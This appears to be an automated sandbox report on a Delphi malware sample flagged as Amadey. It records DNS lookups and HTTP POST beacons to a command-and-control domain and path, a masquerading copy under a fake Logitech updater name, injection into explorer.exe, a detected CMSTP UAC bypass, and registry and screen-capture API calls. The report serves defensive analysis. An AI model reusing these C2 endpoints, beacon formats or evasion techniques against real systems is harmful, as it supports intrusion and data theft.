FindFirstFileW, GetUserDefaultUILanguage, GetConsoleOutputCP, UnmapViewOfFile, GetConsoleCP, GetModuleFileNameA, GlobalHandle, lstrlenW, CompareStringA, SetEndOfFile, QueryPerformanceCounter, lstrcpyW, lstrcmpW, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, GetLocaleInfoW, CreateFileW, EnumResourceNamesW, DeleteFileW, GetEnvironmentVariableW, GetLocalTime, WaitForSingleObject, WriteFile, CreateFileMappingW, ExitThread, DeleteCriticalSection, GetDateFormatW, TlsGetValue, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, RemoveDirectoryW, CreateEventW, GetPrivateProfileStringW, WaitForMultipleObjectsEx, GetThreadLocale, SetThreadLocale
ole32.dll	RevokeDragDrop, CreateBindCtx, CoCreateGuid, CoCreateInstance, CoUninitialize, ReleaseStgMedium, RegisterDragDrop, IsEqualGUID, OleInitialize, CLSIDFromProgID, OleUninitialize, CoInitializeEx, CoInitialize, CoTaskMemFree, CoTaskMemAlloc
gdi32.dll	EnumEnhMetaFile, Pie, SetPaletteEntries, SetBkMode, CreateCompatibleBitmap, BeginPath, GetEnhMetaFileHeader, CloseEnhMetaFile, RectVisible, AngleArc, CloseFigure, SetICMMode, StrokeAndFillPath, ResizePalette, SetAbortProc, SetTextColor, GetTextColor, StretchBlt, GetGlyphIndicesW, RoundRect, SelectClipRgn, ExtEscape, RestoreDC, SetRectRgn, GetFontLanguageInfo, FillPath, GetTextMetricsW, RemoveFontResourceW, GetWindowOrgEx, SetPixelV, CreatePalette, GetCharWidth32W, CreateDCW, CreateICW, PolyBezierTo, GetStockObject, CreateSolidBrush, GetBkMode, Polygon, MoveToEx, PlayEnhMetaFile, Ellipse, StartPage, GetBitmapBits, StartDocW, GetSystemPaletteEntries, GetEnhMetaFileBits, CreatePenIndirect, GetEnhMetaFilePaletteEntries, SetMapMode, CreateFontIndirectW, PolyBezier, EndDoc, GetObjectW, GetFontData, GetCurrentObject, GetCharWidthW, GetWinMetaFileBits, SetROP2, GetOutlineTextMetricsW, GetEnhMetaFileDescriptionW, ArcTo, GetKerningPairs, EnumFontFamiliesExA, CreateEnhMetaFileW, Arc, SelectPalette, SetGraphicsMode, ExcludeClipRect, MaskBlt, SetWindowOrgEx, EndPage, EndPath, DeleteEnhMetaFile, Chord, SetDIBits, SetViewportOrgEx, GetViewportOrgEx, CreateRectRgn, RealizePalette, SetDIBColorTable, GetGlyphIndicesA, GetDIBColorTable, GetGlyphOutlineW, CreateBrushIndirect, PatBlt, StrokePath, SetEnhMetaFileBits, Rectangle, DeleteDC, SaveDC, BitBlt, SetWorldTransform, FrameRgn, GetDeviceCaps, GetTextExtentPoint32W, GetClipBox, Polyline, IntersectClipRect, CombineTransform, CreateBitmap, CombineRgn, SetWinMetaFileBits, CreateDIBitmap, GetStretchBltMode, CreateDIBSection, SetStretchBltMode, GetDIBits, ExtCreateRegion, LineTo, GetRgnBox, EnumFontsW, CreateHalftonePalette, DeleteObject, SelectObject, ExtFloodFill, UnrealizeObject, CopyEnhMetaFileW, SetBkColor, CreateCompatibleDC, GetBrushOrgEx, GetCurrentPositionEx, GetNearestPaletteIndex, CreateRoundRectRgn, GetTextExtentPointW, GetOutlineTextMetricsA, ExtTextOutW, SetBrushOrgEx, GetPixel, GetTextFaceW, GdiFlush, SetPixel, EnumFontFamiliesExW, StretchDIBits, GetPaletteEntries

Exports

Name	Ordinal	Address
TMethodImplementationIntercept	3	0x4bcfb0
__dbk_fcall_wrapper	2	0x410c54
dbkFCallWrapperAddr	1	0x9ff63c

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
English	Australia
English	Southern Africa
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-25T22:43:37.141787+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49838	188.114.97.3	80	TCP
2024-10-25T22:43:38.925555+0200	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.4	49838	188.114.97.3	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 22:43:36.020263910 CEST	49838	80	192.168.2.4	188.114.97.3
Oct 25, 2024 22:43:36.025679111 CEST	80	49838	188.114.97.3	192.168.2.4
Oct 25, 2024 22:43:36.025753975 CEST	49838	80	192.168.2.4	188.114.97.3
Oct 25, 2024 22:43:36.025903940 CEST	49838	80	192.168.2.4	188.114.97.3
Oct 25, 2024 22:43:36.031367064 CEST	80	49838	188.114.97.3	192.168.2.4
Oct 25, 2024 22:43:37.140635014 CEST	80	49838	188.114.97.3	192.168.2.4
Oct 25, 2024 22:43:37.141787052 CEST	49838	80	192.168.2.4	188.114.97.3
Oct 25, 2024 22:43:37.141901016 CEST	80	49838	188.114.97.3	192.168.2.4
Oct 25, 2024 22:43:37.141974926 CEST	49838	80	192.168.2.4	188.114.97.3
Oct 25, 2024 22:43:38.645340919 CEST	49838	80	192.168.2.4	188.114.97.3
Oct 25, 2024 22:43:38.650702000 CEST	80	49838	188.114.97.3	192.168.2.4
Oct 25, 2024 22:43:38.925343990 CEST	80	49838	188.114.97.3	192.168.2.4
Oct 25, 2024 22:43:38.925554991 CEST	49838	80	192.168.2.4	188.114.97.3
Oct 25, 2024 22:45:25.971975088 CEST	49838	80	192.168.2.4	188.114.97.3
Oct 25, 2024 22:45:25.979310036 CEST	80	49838	188.114.97.3	192.168.2.4
Oct 25, 2024 22:45:25.979415894 CEST	49838	80	192.168.2.4	188.114.97.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 22:43:36.002202034 CEST	65030	53	192.168.2.4	1.1.1.1
Oct 25, 2024 22:43:36.002669096 CEST	58143	53	192.168.2.4	1.1.1.1
Oct 25, 2024 22:43:36.005321980 CEST	53158	53	192.168.2.4	1.1.1.1
Oct 25, 2024 22:43:36.011610985 CEST	53	65030	1.1.1.1	192.168.2.4
Oct 25, 2024 22:43:36.013505936 CEST	53	53158	1.1.1.1	192.168.2.4
Oct 25, 2024 22:43:36.014693022 CEST	53	58143	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 25, 2024 22:43:36.002202034 CEST	192.168.2.4	1.1.1.1	0xb8c6	Standard query (0)	artvisions-autoinsider3.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:43:36.002669096 CEST	192.168.2.4	1.1.1.1	0x8f97	Standard query (0)	artvisions-autoinsider.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:43:36.005321980 CEST	192.168.2.4	1.1.1.1	0x42a6	Standard query (0)	artvisions-autoinsider2.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 25, 2024 22:43:36.011610985 CEST	1.1.1.1	192.168.2.4	0xb8c6	Name error (3)	artvisions-autoinsider3.com	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:43:36.013505936 CEST	1.1.1.1	192.168.2.4	0x42a6	Name error (3)	artvisions-autoinsider2.com	none	none	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:43:36.014693022 CEST	1.1.1.1	192.168.2.4	0x8f97	No error (0)	artvisions-autoinsider.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 25, 2024 22:43:36.014693022 CEST	1.1.1.1	192.168.2.4	0x8f97	No error (0)	artvisions-autoinsider.com		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

artvisions-autoinsider.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49838	188.114.97.3	80	4348	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 22:43:36.025903940 CEST	171	OUT	POST /8bkjdSdfjCe/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: artvisions-autoinsider.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 25, 2024 22:43:37.140635014 CEST	774	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 20:43:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dr0czzqNre%2FuWKD3PcvNF2W2oPvKFD8UvsaHZ1BdV7SkgApICq5o931UI9aA8pS8ACBM64z7PYPuhcwmikzlSeIt2Gvvg2UJPpV8vZnQ9HfEKzgLFlyNUbFvnJWmiPYCXnPQmxITRKduPEvrVg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d850a318a9d2d33-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1385&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=171&delivery_rate=0&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 25, 2024 22:43:37.141901016 CEST	774	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 20:43:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dr0czzqNre%2FuWKD3PcvNF2W2oPvKFD8UvsaHZ1BdV7SkgApICq5o931UI9aA8pS8ACBM64z7PYPuhcwmikzlSeIt2Gvvg2UJPpV8vZnQ9HfEKzgLFlyNUbFvnJWmiPYCXnPQmxITRKduPEvrVg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d850a318a9d2d33-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1385&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=171&delivery_rate=0&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 25, 2024 22:43:38.645340919 CEST	323	OUT	POST /8bkjdSdfjCe/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: artvisions-autoinsider.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 39 33 41 39 39 36 30 31 32 41 43 34 33 43 45 46 39 37 45 31 44 43 45 31 34 43 38 36 36 38 33 34 38 44 33 34 34 30 38 39 33 32 36 37 30 41 37 36 36 35 39 43 45 34 34 41 44 31 33 43 31 44 35 38 43 34 38 43 46 38 42 32 39 35 32 37 38 46 37 45 42 43 42 30 37 35 41 39 36 33 34 46 46 44 44 43 37 31 30 35 39 37 32 46 45 41 37 35 39 36 46 36 34 35 37 39 45 43 38 42 32 34 38 32 41 42 41 45 36 43 38 31 31 38 35 36 46 30 30 35 41 45 30 37 38 45 35 35 31 37 38 Data Ascii: r=B93A996012AC43CEF97E1DCE14C8668348D34408932670A76659CE44AD13C1D58C48CF8B295278F7EBCB075A9634FFDDC7105972FEA7596F64579EC8B2482ABAE6C811856F005AE078E55178
Oct 25, 2024 22:43:38.925343990 CEST	796	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 20:43:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sUNYaYlWfEY0T4RmgnbK8a63463p65ez9G7Sj%2B6D3s8ZoxRrcUMZkbKnekk7oT%2FFR8sGEudyMe7oM521xjpwJIEuLKpA%2BrLET6RnDqTnmT0XzihLHAtXUYU8Pz03uWcrXpDFaYS0swwcE%2F%2B7YA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d850a3ee8552d33-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1388&sent=4&recv=6&lost=0&retrans=0&sent_bytes=774&recv_bytes=494&delivery_rate=1991746&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Target ID:	0
Start time:	16:42:24
Start date:	25/10/2024
Path:	C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe"
Imagebase:	0x400000
File size:	11'391'336 bytes
MD5 hash:	FF827141856089465CEC7AFDC9E65F9D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000000.1730888199.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000002.2156540910.000000000394F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:42:26
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\more.com
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\more.com
Imagebase:	0xe30000
File size:	24'576 bytes
MD5 hash:	03805AE7E8CBC07840108F5C80CF4973
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:42:26
Start date:	25/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:43:18
Start date:	25/10/2024
Path:	C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe
Imagebase:	0x400000
File size:	11'391'336 bytes
MD5 hash:	FF827141856089465CEC7AFDC9E65F9D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000007.00000002.2300617328.0000000001156000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:43:21
Start date:	25/10/2024
Path:	C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe"
Imagebase:	0x400000
File size:	11'391'336 bytes
MD5 hash:	FF827141856089465CEC7AFDC9E65F9D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	16:43:22
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\more.com
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\more.com
Imagebase:	0xe30000
File size:	24'576 bytes
MD5 hash:	03805AE7E8CBC07840108F5C80CF4973
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:43:22
Start date:	25/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	16:43:25
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0xa20000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	16:44:17
Start date:	25/10/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0xa20000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	32.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.4%
Total number of Nodes:	147
Total number of Limit Nodes:	7

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00799962 Relevance: 1.6, APIs: 1, Instructions: 123
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00799902: GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 00799932

NtQuerySystemInformation.NTDLL(00000005,00000000,00040000,00040000), ref: 007999C6

Memory Dump Source

Source File: 00000000.00000002.2154540126.0000000000798000.00000020.00000001.01000000.00000003.sdmp, Offset: 00798000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_798000_5Z1WFRMTOXRH6X21Z8NU8.jbxd

Similarity

API ID: AllocGlobalInformationQuerySystem
String ID:
API String ID: 3737350999-0
Opcode ID: af0b5cb85ebff21ad004f17c148dcb155806cd6198d72419ed993a28eb2c6b99
Instruction ID: 17be851d84b3f7a5c65864a0c895b1990679072fa59c6b656abe613cab6b1359
Opcode Fuzzy Hash: af0b5cb85ebff21ad004f17c148dcb155806cd6198d72419ed993a28eb2c6b99
Instruction Fuzzy Hash: 4451EA75D00109EFDF04CF99D881AAEB7B5FF98300F14855DEA15AB341D739AA81CBA1

Function 00799242 Relevance: 4.6, APIs: 3, Instructions: 79
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,?,?,?), ref: 00799264

Memory Dump Source

Source File: 00000000.00000002.2154540126.0000000000798000.00000020.00000001.01000000.00000003.sdmp, Offset: 00798000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_798000_5Z1WFRMTOXRH6X21Z8NU8.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f2ed564a57136dcdfd9afc14d4280a279a6561515fd8f8e06747ede3fd6620df
Instruction ID: c6b77d4765c7e81c40f338dd798c5b803052c3c1a569cdf75fd2d2e5f22701c5
Opcode Fuzzy Hash: f2ed564a57136dcdfd9afc14d4280a279a6561515fd8f8e06747ede3fd6620df
Instruction Fuzzy Hash: 6631AC75A00108FFDF44DF98D891F9EB7B9AF88310F208198EA19AB391D675AE41DB50

Function 0079A082 Relevance: 4.0, APIs: 2, Instructions: 995
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00799902: GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 00799932

Part of subcall function 00798E72: LoadLibraryW.KERNELBASE(?), ref: 00798EA3

VirtualProtect.KERNELBASE(?,00000000,?,00000000), ref: 0079AC57
VirtualProtect.KERNELBASE(?,00000000,00000000,00000000), ref: 0079AC8A

Memory Dump Source

Source File: 00000000.00000002.2154540126.0000000000798000.00000020.00000001.01000000.00000003.sdmp, Offset: 00798000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_798000_5Z1WFRMTOXRH6X21Z8NU8.jbxd

Similarity

API ID: ProtectVirtual$AllocGlobalLibraryLoad
String ID:
API String ID: 2510009449-0
Opcode ID: 240aa55989c54137efdc20a0ee1ae1ca480df6d3202c4e1da627c4bf8a4fd026
Instruction ID: 1bf1e792e26c291694053c6d5d3df2dec411f76455052249a06058b48134e11d
Opcode Fuzzy Hash: 240aa55989c54137efdc20a0ee1ae1ca480df6d3202c4e1da627c4bf8a4fd026
Instruction Fuzzy Hash: 8492D5B5E00218EFCB54DF98D991EAEB7B5BF88300F248199E509A7341E735AE41CF91

Function 00799832 Relevance: 3.0, APIs: 2, Instructions: 50
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00799854
WriteFile.KERNELBASE(000000FF,00000000,?,00000000,00000000), ref: 00799882

Memory Dump Source

Source File: 00000000.00000002.2154540126.0000000000798000.00000020.00000001.01000000.00000003.sdmp, Offset: 00798000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_798000_5Z1WFRMTOXRH6X21Z8NU8.jbxd

Similarity

API ID: File$CreateWrite
String ID:
API String ID: 2263783195-0
Opcode ID: 25e051ee84f5a1836dda3222278f4334694447e0a98cf775cf13d888adafe703
Instruction ID: 455c035d9e8ffe5e4584b81bd9c1c3b8f54db6c7cb81aaa7735b809c045b11f7
Opcode Fuzzy Hash: 25e051ee84f5a1836dda3222278f4334694447e0a98cf775cf13d888adafe703
Instruction Fuzzy Hash: 18010075640108FBDB10DE99DD81F9EB3B9AF89714F20C159FA189B291D631EE02DB90

Function 00798E72 Relevance: 1.5, APIs: 1, Instructions: 25
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00799902: GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 00799932

LoadLibraryW.KERNELBASE(?), ref: 00798EA3

Memory Dump Source

Source File: 00000000.00000002.2154540126.0000000000798000.00000020.00000001.01000000.00000003.sdmp, Offset: 00798000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_798000_5Z1WFRMTOXRH6X21Z8NU8.jbxd

Similarity

API ID: AllocGlobalLibraryLoad
String ID:
API String ID: 3361179946-0
Opcode ID: f0635a325a859858965f79386bc2292b2c6fb1dc49c835a5e9fb86d575d4b663
Instruction ID: 64032cd6c8b0e020cdd1c27ec6039522d1b8c79b76d13af45cfa8f308a4c98e8
Opcode Fuzzy Hash: f0635a325a859858965f79386bc2292b2c6fb1dc49c835a5e9fb86d575d4b663
Instruction Fuzzy Hash: F6E0EDB5E00208FBCB40EFA8DD8299E7BB8AF58211F508198F90897341E635EA118B91

Function 0079AE92 Relevance: 1.5, APIs: 1, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2154540126.0000000000798000.00000020.00000001.01000000.00000003.sdmp, Offset: 00798000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_798000_5Z1WFRMTOXRH6X21Z8NU8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbb50fb56afd143785edb8b3f824610f8feaaf99d530fe6b5dcc6f423fa21a8f
Instruction ID: b26e80b44b30d117393629bb3d3fbcca84a942a999038a519fb3e1ae9ba7d236
Opcode Fuzzy Hash: dbb50fb56afd143785edb8b3f824610f8feaaf99d530fe6b5dcc6f423fa21a8f
Instruction Fuzzy Hash: F791D7B5D04209EFCF08CF98D881AEEBBB6BF88300F108158E515AB351D735AA45CFA1

Function 00799902 Relevance: 1.3, APIs: 1, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNELBASE(00000000,00000000,00000000), ref: 00799932

Memory Dump Source

Source File: 00000000.00000002.2154540126.0000000000798000.00000020.00000001.01000000.00000003.sdmp, Offset: 00798000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_798000_5Z1WFRMTOXRH6X21Z8NU8.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9e5e02ec3ae36198606aa10b822d832cfef97aae54456fdc6b76e3fc24730506
Instruction ID: 5a233fd34c04cdac1d28563dd86f1bc3a58f75e7caf54104958144e638a175d2
Opcode Fuzzy Hash: 9e5e02ec3ae36198606aa10b822d832cfef97aae54456fdc6b76e3fc24730506
Instruction Fuzzy Hash: BDF0A578604208EFCB44CF98D480959B7B5FB8C320F10C299FC188B301C630EE81CB94

Non-executed Functions

Function 0079A032 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2154540126.0000000000798000.00000020.00000001.01000000.00000003.sdmp, Offset: 00798000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_798000_5Z1WFRMTOXRH6X21Z8NU8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction ID: 3aed54436f5767a83b01f55326dea564c088d466d319321e9a1229c6b183aa19
Opcode Fuzzy Hash: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction Fuzzy Hash: DCC04C7595664CEBC711CB89D541A59B7FCE709650F100195EC0893700D5356E109595

Analysis Process: explorer.exePID: 4348, Parent PID: 7360COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	41.9%
Total number of Nodes:	1517
Total number of Limit Nodes:	16

Executed Functions

Function 007661F0 Relevance: 99.7, APIs: 40, Strings: 16, Instructions: 1737registrywindowfileCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 0076639C
RegQueryValueExA.KERNELBASE(3F07E9DB,?,00000000,00000000,?,00000400,?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 007663CA
RegCloseKey.KERNELBASE(3F07E9DB,?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 007663D6
RegOpenKeyExA.ADVAPI32(80000001,80000001,00000000,000F003F,00000001), ref: 007664E3
RegSetValueExA.ADVAPI32(80000001,?,00000000,00000002,?,?), ref: 00766511
RegCloseKey.ADVAPI32(80000001), ref: 0076651A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F,80000002), ref: 0076663C
RegSetValueExA.ADVAPI32(80000002,?,00000000,00000004,?,00000004), ref: 0076665F

Part of subcall function 007661F0: RegOpenKeyExA.KERNELBASE(?,00000000), ref: 007667BD
Part of subcall function 007661F0: RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00766894
Part of subcall function 007661F0: RegEnumValueA.KERNELBASE(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 007668E0

RegCloseKey.ADVAPI32(80000002), ref: 00766668
RegCloseKey.ADVAPI32(?), ref: 00766D5E
GdiplusStartup.GDIPLUS(?,?,00000000,3F07E9DB,00000000), ref: 00766DEA
GetDC.USER32(00000000), ref: 00766F62
RegGetValueA.ADVAPI32(80000002,?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 007671CD
GetSystemMetrics.USER32(00000000), ref: 00767226
GetSystemMetrics.USER32(00000000), ref: 0076722F
RegGetValueA.ADVAPI32(80000002,?,00000000), ref: 00767277
GetSystemMetrics.USER32(00000001), ref: 007672CA
GetSystemMetrics.USER32(00000001), ref: 007672D3
CreateCompatibleDC.GDI32(?), ref: 007672DF
CreateCompatibleBitmap.GDI32(?,?,?), ref: 007672F4
SelectObject.GDI32(00000000,00000000), ref: 00767304
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 0076732A
